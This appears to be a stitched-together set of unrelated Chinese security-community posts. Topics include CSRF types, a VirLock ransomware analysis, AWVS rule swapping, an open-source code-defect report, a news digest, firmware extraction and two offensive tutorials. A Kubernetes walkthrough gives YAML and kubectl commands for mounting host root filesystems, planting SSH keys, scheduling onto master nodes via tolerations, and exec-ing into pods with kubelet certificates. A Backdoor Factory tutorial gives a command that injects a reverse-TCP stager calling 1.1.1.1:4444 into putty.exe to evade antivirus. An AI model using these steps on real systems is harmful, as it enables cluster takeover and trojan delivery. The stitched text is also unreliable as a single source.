在绝大多数关于CSRF的演示样例或者基础课程之中，资源包含是这种类型是最常见的。这种类型的CSRF允许攻击者控制一个HTML标签中包含的资源，例如图片、视频、音频、对象、以及脚本等等。如果攻击者能够影响页面所加载的URL，则任何包含了远程资源的标签都将可以被攻击者所利用。正如之前所说的，由于缺乏同源检测，这种攻击并不需要XSS，而且任何能够控制目标网站的攻击者都能够实现攻击。这种类型的漏洞仅限适用于GET请求，因为这种请求是浏览器专门用来请求资源URL的，而且这种漏洞的限制就在于它要求不当使用安全的HTTP
verb。
第二种类型是基于表单（form-based）的CSRF，一般出现在安全verb使用正确的情况下。在这种攻击场景中，攻击者要自行创建一个表单并欺骗用户提交该表单。表单中包含一段能够强迫浏览器提交该表单的JavaScript代码段，它不仅全部由隐藏元素组成，而且提交速度非常快，所以目标用户几乎无法察觉到。由于浏览器处理cookie的方式存在问题，因此这种表单可以托管在任何一个网站上，只要用户用有效的cookie完成了登录，攻击就能成功。第二种漏洞配合钓鱼攻击是比较好的。
我们所要讨论的最后一种类型即XMLHttpRequest（XHR），而这种情况是比较少见的，因为利用这种漏洞时所要满足的条件太多了。由于很多现代Web应用程序都依赖于XHR，因此我们需要花很多事件来构建并实现这种特定的应对措施。由于同源策略的存在，基于XHR的CSRF一般都是通过XSS
Payload的形式来利用的。如果没有跨域资源共享（CORS），XHR将只能被限制于向特定源发送请求，这样也就限制了攻击者托管自己Payload的途径。这种漏洞的攻击Payload其实是一种标准XHR，攻击者可以想办法将其注入到目标用户浏览器的页面DOM中。
**
**
**总结**
在接下来的系列文章中，我们将会给大家介绍如何在真实的开发环境之中部署最有效的CSRF解决方案，感兴趣的同学可以及时关注安全客的最新文章。 | 社区文章 |
# VirLock敲诈者新变种分析及解密方法
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
**2016年6月开始,360安全中心发现VirLock的新变种的查杀量呈现上升趋势,通过分析,发现其新变种采用了多种手段来对抗杀软。**
**虽然宣称数据被加密,但原始数据随着病毒体的运行可以被释放,因此断定被加密的文件是可以恢复的,360安全中心第一时间对样本进行了分析,并针对此变种开发了恢复工具,是国内唯一可以解密VirLock新变种的厂商。**
有关VirLock的基本行为,在2015年1月的播报中已经有所阐述(
[http://bobao.360.cn/learning/detail/227.html](http://bobao.360.cn/learning/detail/227.html)
),本次播报将就亮点部分进行分析。
**基本信息**
MD5:D832508B53BB3B55C2288F23B4FB6C2C
大小:850944字节
**行为简述**
1.在 **%UserProfile%** 与 **%AllUsersProfile%**
释放文件,文件名为随机生成,使用CreateProcessW创建进程。
2.第一个被启动的进程会再次生成一个随机文件名的文件,这三个文件互为守护进程,当其中任何一个被杀死之后,都会被其他“兄弟”创建,病毒以此手段避免进程被杀死。
3.设置注册表,使隐藏文件,文件扩展名不可见。
4.加密文件,被加密的文件变为EXE,图标和加密前一致。
5.感染文件类型,包括但不限于:
文档:DOC、XLS、PDF、PPT等;
图片:PNG、GIF、BMP、JPG等;
压缩文件:RAR、ZIP、7z等;
可执行文件:EXE、SCR等。
6.弹出勒索提示,需要支付价值约$250的比特币作为赎金。
**病毒发作之后截图**
图:告警信息,提示用户使用了盗版软件,需要支付罚金。恫吓用户,若不支付赎金,可能会被判处5年徒刑。
图:向用户介绍支付流程。
图:附近ATM的位置
**相对上一版本的亮点**
**亮点之一,代码执行**
新变种相对老变种相比,变化最大的就在于代码执行方式。
病毒体在解密之后,执行方式就不是顺序执行,而是采取一种特殊的方式来执行,以此来对抗杀毒虚拟机,增加分析难度。
流程大致如下:
(A)新申请一块新的内存区域,作为STUB,以供病毒体执行;
(B)将公共代码放入STUB中,公共代码中间以NOP填充;
(C)解密另一区域的数据,按照格式,将代码复制到公共代码的NOP位置;
(D)执行STUB,清空STUB;
(E)循环执行(B)。
其中STUB的代码如下:
结构如下,STUB主要由三部分组成:
|
保存环境;
设置新的ESP与EBP值;
---|---
执行代码;
恢复ESP与EBP的值;
恢复环境;
这样一来,每执行一条“核心指令”,就要多执行上百条负责解密,循环控制的指令。
增加了病毒体积,与执行步数,也给调试带来一些不便。
填充的指令由指令表与跳转表组成。
**指令表:**
通过XOR算法,可解密出指令表:
解密之后的数据如下(蓝色数据部分):
整理之后可以看出,数据由数据前缀与指令组成:
指令前缀由两部分组成:代码标志与代码长度,代码标志为00表示普通指令。
代码的执行按照此顺序执行,包括条件跳转; **顺序表:**
解密方式也是XOR:
部分数据如下:
0000 0100 0200 0300 0400 0500 0600 0700 0800
**D500** 0900 0A00 **D600** 0B00 **D500** 0900 0A00 **D700**
0C00 0D00 0E00 0F00 1000 1100 1200 **D500** 0900
0A00 **D800** 1300 **D500** 0900 0A00 **D900** 1400 **D500**
其中D5到E9解密后如下,标志位为(01,表示跳转),跳转条件均为JNZ,后面的数值表示跳转相对偏移:
**亮点之二,数据解密**
随着程序的执行,病毒会主动将文件解密后落地,因此被VirLock加密的数据,在逆向其基本算法后,是可以恢复数据的。
数据解密主要分为三个部分:
第一部分解密:
第一部分的解密方式为XOR,位置为ESI,密钥为EDX,长度为ECX:
第二部分解密:
这部分解密的位置信息,位于代码表中:
解密方式:XOR,ROR
在执行完第二部分解密之后,开始第三部分解密,这层解密主要针对被加密文件。第三部分解密:
恢复文件
图:解密之后的数据,红色部分表示原始文件名,蓝色部分表示原始数据。
针对VirLock系列敲诈者病毒,360杀毒独家提供文件恢复功能。如果用户不慎中招,可以使用360杀毒扫描恢复原文件。
扫描病毒:
修复文件:
文件恢复效果示例:
**亮点之三,勒索金额的变化**
在2015年1月,360安全中心发布的第一版VirLock的分析报告(<http://bobao.360.cn/learning/detail/227.html>)显示,当时勒索的金额,为价值150美元的比特币,当时约0.71BTC:
而新版本勒索的金额,为价值250美元左右的BTC,按现在的价格,约0.392BTC: | 社区文章 |
在这里给大家分享一个获取AWVS规则文件的思路。 目前我提取的是17年4月份的扫描规则。 后面如果规则更新，可以自行提取
官网: <https://www.acunetix.com/vulnerability-scanner/wvs-demo-requested/>
这是我提取复制进去可以直接用的
首先说一下为什么要提权规则文件。
扫描器的规则文件是扫描时用到的漏洞测试方法，用以验证漏洞是否存在，审核漏洞的效果也依赖于此规则是否完善。
所以一般在扫描器可以更新规则的情况下，有人也只更新规则文件，不更新扫描器的核心版本， 可以保证扫描效果即可。
而核心版本升级包可能会更新一些系统组件， 例如修复BUG， 增加功能， 优化性能等, 与验证漏洞关系不大。
话不多说，开始正题。
我这里的环境是将 版本11的扫描规则替换到 版本10.5中。
看下替换规则前的 10.5
的扫描规则。
安装完AWVS 11后， 找到脚本所在目录。
C:\Program Files (x86)\Acunetix 11 Trial\11.0.171101535\data\Scripts
替换到下面目录即可。替换前请自行备份。
C:\ProgramData\Acunetix WVS 10\Data\Scripts
11 与 10.5 的扫描规则对比：
测试下来有3个脚本因为缺少对应 xml 漏洞描述文件，所以执行完有报错。 我选择覆盖时忽略这三个文件。 其他照常, 执行完后没有报错。
Remote_File_inclustion_XSS.script
XSS.script
Javascript_AST_Parse.script 这个规则文件用旧版和新版都会报错，自己考虑要不要覆盖。
执行一次扫描看看：
扫靶机。
替换规则前的扫描结果：
High 90 Medium 58 low 9 info 24
对比替换后的扫描结果
High 88 Medium 55 low 9 info 34
有一些同学很暴力的替换了整个data 目录, 这种情况版本信息会正常显示11， 但我不保证没有问题哈。
C:\ProgramData\Acunetix WVS 10\Data\General
版本信息在C:\ProgramData\Acunetix WVS 10\Data\General\branding.xml。
因为我们替换规则没有替换这个文件， 所以启动后版本没有变化。
想替换的话，文件在这里。
[attachment=4944][attachment=4945] | 社区文章 |
@深信服-深蓝攻防实验室-dnsl0g
## 实战目标介绍
Kubernetes是一个开源的，用于管理云平台中多个主机上的容器化的应用，Kubernetes的目标是让部署容器化的应用简单并且高效（powerful）,Kubernetes提供了应用部署，规划，更新，维护的一种机制。
如今，很多云原生产品，都是在k8s上进行微创新。云上攻防就是研究k8s漏洞。
此次实战渗透某k8s云原生产品，分享经验心得。
## 普通用户test1
通过信息收集、暴力破解等手段，获取到一个普通用户test1。
## 登陆test1账号，创建pod容器
点击添加命名空间，添加命名空间：test
部署工作负载，创建工作负载：myapp
进入工作负载：myapp，可以看到pod的ip是10.42.3.65，在node节点192.168.1.9下。
## pod容器 安装kubectl
一般情况，容器的环境没有配置任何信息，通过命令`ping
www.baidu.com`，发现没配置dns、没有更新源、没有基本的命令、没有网络工具，更没有kubectl工具。
因此在pod容器里，首先初始化渗透环境。
1、添加配置dns
echo nameserver 8.8.8.8 >> /etc/resolv.conf
echo nameserver 114.114.114.114 >> /etc/resolv.conf
2、更换源
#更换源
cp /etc/apt/sources.list /etc/apt/sources.list.bak
echo > /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian-security bullseye-security main contrib non-free >> /etc/apt/sources.list
3、下载kubectl
wget https://dl.k8s.io/v1.9.11/kubernetes-client-linux-amd64.tar.gz
tar -zxvf kubernetes-client-linux-amd64.tar.gz
cd kubernetes/client/bin
chmod +x kubectl
cp kubernetes/client/bin/kubectl /usr/local/bin/kubectl
## 攻击，挂载node根目录，获取Node节点权限
通过编辑YAML规则，尝试挂载node的根目录到上面创建的pod。
spec:
containers:
name: myapp
volumeMounts:
- mountPath: /host
name: host
volumes:
- hostPath:
path: /
type: Directory
name: host
yaml规则解析：
hostPath中的path，就是被挂着的目录，这里设置为根目录。
volumeMounts中的mountPath，就是在容器的目录位置。
挂载根目录到容器的/host目录下。
挂载后，进入pod容器
可以看到，pod容器ip为：10.42.3.66，node节点ip为：192.168.1.9
挂载成功，在pod容器中读取到node节点内容。
写入ssh私钥，通过pod容器socks5代理，成功登录node节点。
## 攻击，通过容忍度（tolerations）从node节点横向到master节点
1、查找kubeconfig配置文件位置
在node节点中，执行`ps -efw | grep kubeconfig`
找到kubeconfig配置文件位置 `/etc/kubernetes/ssl/kubecfg-kube-node.yaml`
下载安装kubectl，使用kubectl命令获取node节点信息。
通过kubectl命令，确认Master节点的污点(Taint)。
./kubectl --kubeconfig=/etc/kubernetes/ssl/kubecfg-kube-node.yaml describe node
成功获取到master的污点(Taint)信息：
Taints: node-role.kubernetes.io/etcd=true:NoExecute
node-role.kubernetes.io/controlplane=true:NoSchedule
键：node-role.kubernetes.io/etcd 影响：NoExecute
键：node-role.kubernetes.io/controlplane 影响：NoSchedule
在调度容忍，添加对应的键值。
对应的yaml规则如下：
apiVersion: apps/v1
kind: Deployment
spec:
spec:
containers:
- image: ubuntu/nginx:latest
name: myapp2
volumeMounts:
- mountPath: /host
name: host
dnsPolicy: ClusterFirst
restartPolicy: Always
schedulerName: default-scheduler
tolerations:
- effect: NoSchedule
key: node-role.kubernetes.io/controlplane
operator: Exists
- effect: NoExecute
key: node-role.kubernetes.io/etcd
operator: Exists
volumes:
- hostPath:
path: /
type: Directory
name: host
可以看到，成功将pod挂到master节点下。
同样，挂载master节点的根目录到pod容器里面。
写入ssh公钥，成功登录master节点。
## 攻击，从Node节点到获取k8s权限
### 情景一
1、查找kubeconfig配置文件位置
在node节点中，执行`ps -efw | grep kubeconfig`
2、找到kubeconfig配置文件位置
`/etc/kubernetes/ssl/kubecfg-kube-node.yaml`
3、使用kubectl命令 get pods 获取到k8s所有容器信息。
./kubectl --server=https://127.0.0.1:6443 --certificate-authority=/etc/kubernetes/ssl/kube-ca.pem --client-key=/etc/kubernetes/ssl/kube-node-key.pem --client-certificate=/etc/kubernetes/ssl/kube-node.pem get pods --all-namespaces
4、进入任意容器
./kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system --server=https://127.0.0.1:6443 --certificate-authority=ca.crt --client-key=/var/lib/kubelet/pki/kubelet-client-current.pem --client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem /bin/sh
（ps:忘记截图了，情景二有图）
### 情景二
1、查找kubeconfig配置文件位置
在node节点中，执行`ps -efw | grep kube`，找到kubeconfig
cat /etc/kubernetes/kubelet.conf
server: https://172.28.0.201:6443
client-certificate: /var/lib/kubelet/pki/kubelet-client-current.pem
client-key: /var/lib/kubelet/pki/kubelet-client-current.pem
2、搜索ca.crt证书文件
3、使用kubectl命令，获取到所有k8s的所有pods信息
kubectl --server=https://172.28.0.201:6443 --certificate-authority=/etc/kubernetes/pki/ca.crt --client-key=/var/lib/kubelet/pki/kubelet-client-current.pem --client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem get pods --all-namespaces
172.28.0.7为node节点之一。
4、进入任意容器
示例：使用kubectl命令进入命名空间为kube-system的容器：calico-node-mk79h
命令：
kubectl exec -it calico-node-mk79h --namespace=kube-system --server=https://172.28.0.201:6443 --certificate-authority=/etc/kubernetes/pki/ca.crt --client-key=/var/lib/kubelet/pki/kubelet-client-current.pem --client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem /bin/sh
成功进入容器calico-node-mk79h
容器的ip:
## 总结
通过对k8s云原生的实战，深入理解了k8s渗透相关知识。
node节点用户权限管理没有进行严格限制，可以挂载节点根目录。
理解了容忍度（tolerations）、污点（taints）。
master节点通过设置污点（taints），避免pod容器随意调度到master上，而只能调度到node节点。
pod容器通过设置容忍度（tolerations），容忍了master的污点（taints），就可以调度到master节点。
## 参考
<https://www.freebuf.com/vuls/196993.html>
<https://annevi.cn/2020/12/21/华为云ctf-cloud非预期解之k8s渗透实战/>
<https://mp.weixin.qq.com/s/iWC-qTy7n7GwrRHMNXsVUA> | 社区文章 |
# 4月6日热点 - 扎克伯格承认22亿用户的公开数据已被第三方盗用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
美国关键基础设施的网络攻击与思科交换机缺陷有关
[ https://www.bleepingcomputer.com/news/security/cyber-attacks-on-us-critical-infrastructure-linked-to-cisco-switch-flaw/](https://www.bleepingcomputer.com/news/security/cyber-attacks-on-us-critical-infrastructure-linked-to-cisco-switch-flaw/)
黑客使用漏洞利用Thin Air生成边缘密码货币
[ https://www.bleepingcomputer.com/news/cryptocurrency/hacker-uses-exploit-to-generate-verge-cryptocurrency-out-of-thin-air/](https://www.bleepingcomputer.com/news/cryptocurrency/hacker-uses-exploit-to-generate-verge-cryptocurrency-out-of-thin-air/)
无处不在的HTTPS现在提供了新的规则集而无需升级扩展
[ https://www.bleepingcomputer.com/news/security/https-everywhere-now-delivers-new-rulesets-without-upgrading-extension/](https://www.bleepingcomputer.com/news/security/https-everywhere-now-delivers-new-rulesets-without-upgrading-extension/)
扎克伯格承认其22亿用户的公开数据已被第三方实体所盗用
<https://securityaffairs.co/wordpress/71084/social-networks/facebook-data-exposed.html>
VirusTotal启动’Droidy’沙箱来检测恶意Android应用程序
<https://thehackernews.com/2018/04/virustotal-droidy-android-sandbox.html>
新的MacOS后门连接到OceanLotus威胁组
<https://www.zdnet.com/article/new-macos-backdoor-connected-to-oceanlotus-threat-group/>
严重的远程代码执行漏洞会影响Natus医疗设备
<https://www.zdnet.com/article/critical-remote-code-execution-vulnerabilities-discovered-in-natus-medical-devices/>
## 技术类
齐博cmsv7.0后台getshell
<https://xz.aliyun.com/t/2248>
利用PowerShell诊断脚本执行命令并绕过AppLocker
<https://xz.aliyun.com/t/2247>
寻找开源智能和pentest的子域名
<https://cybersins.com/finding-sub-domains-for-threat-network-intel-and-pentest-spyse/>
WhatsApp取证：在非固定Android设备上解密加密的WhatsApp数据库
<https://www.omicsonline.org/open-access/whatsapp-forensics-decryption-of-encrypted-whatsapp-databases-onnon-rooted-android-devices-2165-7866-1000147.pdf?utm_source=securitydailynews.com>
## 以下热点来自于360CERT
【漏洞】
1.多个jenkins插件的漏洞
<http://t.cn/RmLdzQp>
2.多个WebKitGTK+漏洞
<http://t.cn/RmLdz8r>
【恶意软件】
1.njRAT木马变种新增勒索软件和比特币钱包窃取功能
<http://t.cn/RmLBrvH>
【安全报告】
1.趋势科技对恶意软件代码签名滥用的研究报告
<http://t.cn/RmLBBkh>
2.Gartner报告：全球网络安全产业规模发展情况及趋势预测
<http://t.cn/RmLBBFa>
【安全资讯】
1.谷歌将图像识别技术运用于军用无人机引起轩然大波
<http://t.cn/RmLBBdG>
2.iphone可轻易转移公交卡账户金额造成安全隐患
<http://t.cn/RmLBBei>
3.LiveChat和TouchCommerce实时聊天工具泄露知名公司的员工隐私
<http://t.cn/RmZx4N1>
【安全研究】
1.DLL劫持漏洞概述
<http://t.cn/RmLgz1M>
2.Inspeckage:安卓动态评估分析工具
<http://t.cn/RmLdzme>
3.linux内核安全防护
<http://t.cn/RmLdzu0> | 社区文章 |
# 【安全报告】开源软件安全现状分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
美国首先认识到开源软件安全问题的重要性，早在2006年，美国国土安全部就资助Coverity公司开展“ **开源软件代码测试计划**
”，针对大量开源软件进行安全隐患的筛查和加固，截至2017年2月，累计检测各种开源软件 **7000** 多个，发现大量安全缺陷。
鉴于上述形势，360代码卫士团队基于自身技术积累和产品能力，在2015年初发起了国内的“开源项目检测计划（www.codesafe.cn）”，这项计划是针对开源软件的一项公益性安全检测计划，旨在让广大开发者关注和了解开源软件安全问题，提高软件安全开发意识和技能。截止2017年初，该计划已检测2228个开源项目，获得了大量的缺陷检测基础数据。
**
**
**开源项目检测计划数据和实例分析**
从2015年初到2017年初两年多时间中，360代码卫士团队从GitHub、Sourceforge等代码托管网站和开源社区中选取了2228个使用比较广泛的开源项目进行检测，涉及的开发语言包括
**C/C++/C#/Java** 等。检测代码总量 **257,835,574行** ，发现源代码缺陷 **2,626,352个**
，所有检测项目的总体平均缺陷密度为10.19个/千行。
针对安全缺陷检测结果，360代码卫士团队从多个视角进行了统计分析，并归纳总结出开源软件的安全现状。本次分析主要从以下3个维度对检测结果进行说明：
依据缺陷危害程度、可利用性、受关注度等因素，在所有缺陷类型中，选择10大重要缺陷进行数据统计，同时统计所有开源项目中存在这些缺陷的比例，以展示开源项目中重要缺陷的分布情况。
参考代码托管网站和开源社区的项目Fork值、下载量等指标，选取20个流行项目的检测结果进行深度分析，分析从缺陷总数、10大重要缺陷总数以及缺陷密度三个角度进行，以说明流行开源项目的源代码安全状况。
综合统计2228个被分析的开源项目，排列出缺陷总数最高的10个项目，以说明安全风险相对较高的开源项目的情况。
**1、10大重要缺陷统计**
在所有检出缺陷种类中，依据缺陷类型的危害程度、受关注度等因素，选择10类重要缺陷进行检测结果分析，图1是10大重要缺陷统计列表（按检出数量多少排序），图2是10大重要缺陷在2228个项目中出现的比率。
图1 10大重要缺陷统计列表
统计结果显示，在选取的10大重要缺陷中，检出数量最多的是系统信息泄露，达到18万余个。而受到开发人员普遍关注的缺陷，如SQL注入、跨站脚本也分别检出4096和9614个，这两类缺陷是web攻击中最常见的两类漏洞，可见它们依然是web应用中修复的重点。
图2 10大重要缺陷检出比例
在本次检测的2228个项目中，有高达82.99%的开源项目存在10大重要漏洞，说明这10类缺陷普遍存在，应当作为软件安全保障的重点考虑问题。
**2、20个流行项目检测结果**
参考代码托管网站和开源社区的项目Fork值、下载量等指标，团队选取了20个最受欢迎项目的检测结果进行了统计分析，图3是20个流行项目缺陷数量统计表，图4是20个流行项目出现10大重要缺陷数量统计表，图5是20个流行项目缺陷密度统计。
图3 20个流行项目缺陷总数
20个流行项目中，Guava项目检出的安全缺陷数量最多，Guava是Google 的一个开源项目，包含许多 Google 核心的 Java 常用库。
图4 20个流行项目中10大重要缺陷的总数
20个流行项目中，netty项目检出10大重要缺陷的总数最多，达到384个，即该项目源代码中存在高风险缺陷的数量较多。
图5 20个流行项目缺陷密度统计
缺陷密度可以从一定程度上反应项目的安全性。在上述20个流行项目中，okhttp的缺陷密度最大，为45.24个/千行；opencv的缺陷密度最小，为0.91个/千行。
**3、缺陷数量TOP 10项目**
在检测的2228个开源项目中，仅从缺陷数量角度，对所有项目检出的缺陷数量进行排列，其中缺陷总数最多的10个项目如图6所示。OpenGamma项目成为2228个项目中检出缺陷数量最多的项目。
图6 缺陷数量TOP 10项目
**4、漏洞验证实例分析**
通过开源项目检测计划，360代码卫士团队自主发现开源软件漏洞31个，并已获得29个CVE漏洞索引编号（CVE-2015-8665、CVE-2015-1923、CVE-2016-1924、CVE-2016-2073、CVE-2016-2089、CVE-2016-1867、CVE-2015-8751、CVE-2015-8883、CVE-2015-8884、CVE-2015-8885、CVE-2015-8886、CVE-2015-8887、CVE-2016-6523、CVE-2016-6821、CVE-2016-7149、CVE-2016-7150、CVE-2016-9418、CVE-2016-10037、CVE-2016-10038、CVE-2016-10039、CVE-2017-7984、CVE-2017-11723、CVE-2017-12065、CVE-2017-12066、CVE-2017-11660、CVE-2017-11659、CVE-2017-11164、CVE-2017-9729、CVE-2017-9728）。
本节基于CVE-2015-8883漏洞进行详细的漏洞验证实例分析。该漏洞是一个类型混淆漏洞，存在于一个由C语言开发的开源流媒体解析软件包中，位于核心处理函数HandleInvoke中，调用AMF_Decode函数对body数据进行解码，然后将body数据传给了AMFProp_Decode函数的pBuffer中，在AMFProp_Decode函数中存在一个switch语句，它会根据不同的数据类型标志位对数据进行解码。在我们的poc中，根据p_type调用了AMF_DecodeNumber函数对pbuffer进行了解码。注意数据在随后的使用中实际上是当作一个对象来使用，应当使用AMF_Decode函数进行解码。如图7所示。
图7 数据解码过程
在调用AMF_Decode函数对数据进行解码之后，obj中就存储了解码后的数据。随后在3108行中，调用AMF_GetProp函数从obj中获取索引为3的prop属性数据，紧接着在AMFProp_GetObject函数中将prop中Union数据p_vu以AMFObject对象类型的方式取出，并存储到obj2中。在3109行中，再次调用AMF_GetProp函数从obj2中获取数据。在我们的poc中，obj2中实际上存储的是一个double数据，程序将其当作指针进行使用，可能会导致程序访问非法的内存地址。如图8所示。
图8 非法内存地址访问过程
**
**
**结论与建议**
从开源项目检测计划所得到的数据来看，当前开源软件的安全问题非常严重，代码中的安全缺陷密度较高。而据NVD数据统计，截至2017年2月，全球开源软件相关的已知安全漏洞已超过28000个。
随着软件开发过程中开源软件的使用越来越多，开源软件实际上已经成为软件开发的核心基础设施，开源软件的安全问题应该上升到基础设施安全的高度来对待，应该得到更多的、更广泛的重视。
而据我们目前观察到的情况，当前绝大多数企业在软件开发过程中，对开源软件的使用非常随意，管理者常常不清楚自己的团队在开发过程中使用了哪些开源软件，甚至程序员自己都无法列出完整的开源软件使用列表。这给信息系统安全风险的管控带来了极大的挑战，系统的运维者不清楚自己正在运行的软件系统中是否包含了开源软件，包含了哪些开源软件，这些开源软件中是否存在安全漏洞！
在此我们呼吁和建议，开发者在软件开发过程中使用开源软件时，不应仅仅关注开源软件的功能，还应把安全作为重要因素纳入考量，尽可能避免由于不当的使用开源软件而引入严重的安全隐患。“360开源项目检测计划”愿与国内广大软件开发者一起，关注和防范开源软件安全风险，为国内软件的安全开发水平提高贡献一份力量。开发者可以通过“360开源项目检测计划”网站（www.codesafe.cn）了解自己关注的开源软件的安全缺陷检测细节，360企业安全集团也可以提供专业的产品，帮助客户确定在自身软件开发过程中使用了哪些开源软件，并可以帮助客户持续跟踪这些开源软件的安全状况，及时防范安全风险。
**
**
**360代码卫士简介**
“360代码卫士”是国内第一个专注于软件代码安全的产品线，产品涵盖了源代码安全缺陷检测、编码合规检测、开源代码溯源检测三大方向，分别解决软件开发过程中的安全缺陷和漏洞问题、安全合规性问题、第三方代码安全管控问题。在此基础上，“360代码卫士”还创新性的实现了一套软件安全开发生命周期管理平台，该平台可与企业已有的软件开发和测试环境无缝对接，将源代码安全检测融入企业开发流程，实现软件代码安全目标的统一管理、自动化检测、差距分析、Bug修复追踪等功能，帮助企业以最小代价建立代码安全保障体系并落地实施，构筑信息系统的“内建安全”。
“360代码卫士”系列产品是目前唯一的国产商用级别代码安全产品，其功能和性能已完全具备替代国外产品的能力，且相比国外产品具备更好的灵活性、可定制性以及高质量的原厂商技术支持服务。“360代码卫士”系列产品目前支持Windows、Linux、Android、Apple
iOS、IBM AIX等平台上的代码安全检测，支持的编程语言涵盖C/C++/C#/
Objective-C/Java/JSP/JavaScript/PHP/Python/Cobol等主流语言。在软件代码缺陷检测方面，支持13大类，600多个小类代码安全缺陷的检测，兼容国际CWE、OWASP
Top 10、SANS Top 25等标准和最佳实践；在软件编码合规检测方面，支持CERT
C/C++/Java安全编码规范的检测，并可根据用户需求进行灵活定制；在开源代码溯源检测方面，支持80000多个开源代码模块识别，28000多个开源代码漏洞的检测。
**
**
**（本文作者：360开源项目检测计划负责人 吴迪）** | 社区文章 |
# The-Backdoor-Factory
## 0x00. BDF简介
###
BDF是一款史诗级免杀神器，在它最巅峰时期遇神杀神、遇佛杀佛，blackhat上也出现过它的身影，虽然由于各大安全厂商越来越重视这款工具，导致它的免杀效果有所下降，不过它仍不失为一款杰出的神器，而且他利用的原理也是那么有创意！
* * *
## 0x01. BDF原理
###
笔者也涉猎不多，只能粗略解释一下，大家感兴趣可以看看它的作者在[blackhat上的演讲](https://www.youtube.com/watch?v=OuyLzkG16Uk)，上面介绍了BDF的原理还讲解了BDFproxy的用法，因为kali环境老是出问题，所以这里就不介绍BDFproxy了。
### 原理：
### 1\. 在编译好的二进制文件中,经常会出现很多的00 00（称为代码洞）
### 2\. 因为这些00 00是不包含数据信息的，所以如果我们将这些00 00替换成其他数据应该是不影响程序正常执行的
### 3\. 现在将各个代码洞替换成我们生成的木马程序，结果也是可以执行的
### 4\. 当程序执行时，再用指针将各个代码洞里面的代码连接成一个完整的木马程序，这样既不会破坏源程序，又能有效的将木马隐藏到二进制文件当中达到免杀效果
* * *
## 0x02. BDF安装
### kali其实自带有BDF，不过貌似它的执行环境出了点BUG，所以果断放弃在kali上使用，笔者选择投向docker的怀抱。
> docker pull secretsquirrel/the-backdoor-factory
>
> docker run -it -v /Users/apple1/Desktop/:/tmp secretsquirrel/the-backdoor-> factory bash
### 【*】这里已经启动了docker中的BDF，不太了解docker的可以看看[这篇文章](http://120.78.87.14/?p=719)
* * *
## 0x03. BDF生成免杀木马
### 1\. 下载将要被注入木马的模版文件
### 2\. 利用BDF生成木马
> ./backdoor.py -f /tmp/putty.exe -s iat_reverse_tcp_stager_threaded -J -H
> 1.1.1.1 -P 4444
### 3\. 将生成的木马拖到物理机上
> mv /the-backdoor-factory/backdoored/putty.exe /tmp/payload.exe
### 4\. 查杀木马，笔者用的avira，此时会达到免杀，不过360的话会被直接杀掉
* * *
## 0x04. 结语
### 工具再厉害也不能像人那样变通，所以笔者比较向往AI技术。在遥远的将来有一个梦想：自己写一款AI tool，将它用于安全领域，在此立个Flag。 | 社区文章 |
物联网（IoT）是当今的热门话题，在这些设备中发现的关键漏洞数量巨大。由于这些设备通常连接到内部网络，因此成功的探索会给组织带来巨大的风险，犯罪分子会访问内部网络，因为最佳实践和网络安全指南尚未到位。
固件是嵌入在物联网设备中的软件的名称。这段代码提供对特定于设备的硬件组件的低级别控制。尽管在过去几年中已使用加密来保护设备的固件映像文件，但理解和发现弱点的原则与过去使用的原则相同。
首先，我们需要从官方存储库下载固件文件。如果无法做到这一点，请了解更新过程是如何完成的，并模拟对文件的合法访问。一个真实且常见的例子是设备在需要将固件更新到最新版本时使用自定义用户代理。通过拦截请求，我们可以轻松获取它们。
接下来的步骤没有神奇执行顺序。根据固件的不同，可能需要解密文件的映像保护机制，或者只是通过用户或完全仿真来解压缩和模拟文件。在下一节中，我们将简要了解如何做到这一点。
## 使用 binwalk 提取固件
在这个实验室中，我们将使用华硕的型号RT-AC5300。要查看固件文件中嵌入的文件，我们需要使用[拼图工具](http://https://github.com/ReFirmLabs/binwalk
"拼图工具")。使用选项“-e”，可以从.trx文件中提取所有文件。
如屏幕截图所示，固件使用小端序来表示硬件字节。根据 binwalk 签名，设备在 3X ARM 版本或次要版本上执行（我们稍后会确认这一点）。
运行 binwalk 后，我们可以浏览路由器文件系统并分析源代码文件。这是一个完美的场景，使用 binwalk 进行简单的迭代带来了整个 www 文件系统。
从这一点开始，我们可以静态检查每个文件，或者简单地使用源代码静态分析器来查找潜在漏洞的入口点。
然而，挑战并不止于此。很多时候，部分运行文件系统（用户仿真）或以完整模式运行使我们能够识别奇怪的行为，甚至在运行时与系统交互，而无需通过设备支付大量费用。是时候了解两种不同类型的仿真了。
## 用户模式仿真
首先，获取有关我们要模拟的文件系统的扩展信息非常重要。此步骤对于使用实际设备上使用的相同变量和组件创建确切的环境至关重要。
通过分析“1C”文件;在执行 binwalk 工具时提取;我们可以观察到有趣的信息，即：
存在一些重要的路径（/dev 和 /root）;
Linux 内核版本 2.6.36
在这些情况下，字符串实用程序是检索有关文件系统的更多信息的好朋友。使用以下命令行，我们可以获取有关“/root/initrd”文件的详细信息。
cat 1C | strings | grep "version"
Linux version 2.6.36.4brcmarm ([email protected]) (gcc version 4.5.3 (Buildroot 2012.02) ) #1 SMP PREEMPT Fri Mar 4 20:12:49 CST 2016
2.6.36.4brcmarm SMP preempt mod_unload modversions ARMv7
slabinfo - version: 2.1
squashfs: version 4.0 (2009/01/31) Phillip Lougher
cat 1C | strings | grep "/etc/"
/etc/init
cat 1C | strings | grep "/root/"
/root/initrd
initrd 是用于引导文件系统的文件，我们稍后可以使用它通过 BuildRoot 工具引导系统。
总之，我们从文件中获得了以下信息：
内核版本：2.6.36.4
GCC 版本 4.5.3
构建根 2012.02（用于编译根 FS）
ARMv7 处理器 – 双核 32 位 ARMv7 （Cortex-A9） @ 1.4GHz
FS ini 存在于 /etc 和 /root 文件夹中
